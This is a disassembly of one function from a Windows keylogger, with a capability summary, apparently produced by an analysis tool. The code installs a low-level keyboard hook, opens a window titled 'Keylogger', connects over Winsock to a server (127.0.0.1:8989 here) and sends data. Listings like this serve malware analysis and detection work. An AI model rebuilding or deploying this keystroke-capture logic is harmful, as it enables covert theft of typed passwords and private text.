Function at 0x140001580
Capabilities:
Connect socket
Initialize winsock library
Log keystrokes via application hook
Resolve dns
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x220], rax
movups xmm0, xmmword [str.myWindowClass]
mov eax, dword [reloc.WS2_32.dll_WSAStartup]
mov rdi, rcx
mov dword [rbp + 0x1d8], eax
xor r14d, r14d
movups xmmword [rbp + 0x1c0], xmm0
lea rax, [0x1400014e0]
mov qword [rbp - 0x78], rcx
movsd xmm0, qword [0x140003590]
mov edx, 0x7f00
xor ecx, ecx
movsd qword [rbp + 0x1d0], xmm0
mov esi, r9d
mov qword [rsp + 0x70], 0x50
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], r14
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp - 0x70], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
movdqa xmm0, xmmword [0x140003680]
mov edx, 0x7f00
mov qword [rbp - 0x68], rax
xor ecx, ecx
lea rax, [rbp + 0x1c0]
movdqa xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rax
call qword [sym.imp.USER32.dll_LoadIconW]
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x48], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
test ax, ax
jne 0x140001675
lea r9d, [r14 + 0x30]
xor ecx, ecx
lea r8, [0x14000359c]
lea rdx, [0x1400035a8]
call qword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x1400017e6
mov qword [rsp + 0x58], r14
lea r8, str.Keylogger
mov qword [rsp + 0x50], rdi
lea rdx, [rbp + 0x1c0]
mov qword [rsp + 0x48], r14
mov r9d, 0xcf0000
mov qword [rsp + 0x40], r14
mov ecx, 0x200
mov dword [rsp + 0x38], 0x2d0
mov dword [rsp + 0x30], 0x500
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov qword [rsp + 0x358], rbx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rbx, rax
test rax, rax
jne 0x1400016f9
lea r9d, [rax + 0x30]
xor ecx, ecx
lea r8, [0x14000359c]
lea rdx, [0x1400035d0]
call qword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x1400017de
mov edx, esi
mov rcx, rbx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UpdateWindow]
xor r9d, r9d
lea rdx, [0x140001070]
mov r8, rdi
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x140005630], rax
test rax, rax
jne 0x140001767
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x1400035e0]
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.USER32.dll_wsprintfW]
xor r9d, r9d
lea r8, [0x14000359c]
lea rdx, [rbp + 0x1e0]
mov rcx, rbx
call qword [sym.imp.USER32.dll_MessageBoxW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x8000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
xor ecx, ecx
mov qword [rsp + 0x60], r14
lea rdx, [rbp + 0x20]
mov qword [0x140005638], rax
mov qword [rax], rcx
lea rdi, [rcx - 1]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001809
mov edx, eax
lea rcx, str.WSAStartup_failed_with_error:__d_n
call fcn.140001010
mov qword [0x140005640], r14
mov rcx, qword [0x140005620]
lea r8, str.Error
xor r9d, r9d
lea rdx, str.Unable_to_connect_server.__nTerminating...
call qword [sym.imp.USER32.dll_MessageBoxW]
mov eax, 1
mov rbx, qword [rsp + 0x358]
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.1400019f0
mov rsi, qword [rsp + 0x360]
add rsp, 0x330
pop r14
pop rdi
pop rbp
ret
xorps xmm0, xmm0
mov qword [rbp - 0x40], r14
xorps xmm1, xmm1
mov dword [rbp - 0x38], 1
lea r9, [rsp + 0x60]
mov dword [rbp - 0x34], 6
lea r8, [rbp - 0x40]
lea rdx, str.8989
lea rcx, str.127.0.0.1
movdqu xmmword [rbp - 0x30], xmm0
movdqu xmmword [rbp - 0x20], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x140001865
lea rcx, str.getaddrinfo_failed_with_error:__d_n
mov edx, eax
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400017b4
mov rbx, qword [rsp + 0x60]
test rbx, rbx
je 0x1400018d8
nop
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400018fe
mov r8d, dword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400018d3
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x140001870
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rcx, str.Unable_to_connect_to_server__n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400017b4
mov rbx, qword [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, 0xffffffffffffffff
jne 0x14000191d
lea rcx, str.Unable_to_connect_to_server__n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400017b4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.socket_failed_with_error:__ld_n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400017b4
mov edx, 0x200
lea rcx, str.CLIENT_RESPONSED._n
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strnlen]
xor r9d, r9d
lea rdx, str.CLIENT_RESPONSED._n
mov r8d, eax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x140001972
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.send_failed_with_error:__d_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400017b4
mov qword [0x140005640], rdi
test rdi, rdi
je 0x1400017bb
xor r9d, r9d
lea rcx, [rbp - 0x10]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jle 0x1400019ca
nop dword [rax + rax]
lea rcx, [rbp - 0x10]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp - 0x10]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rbp - 0x10]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jg 0x1400019a0
mov rcx, qword [0x140005640]
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [rbp]
jmp 0x1400017de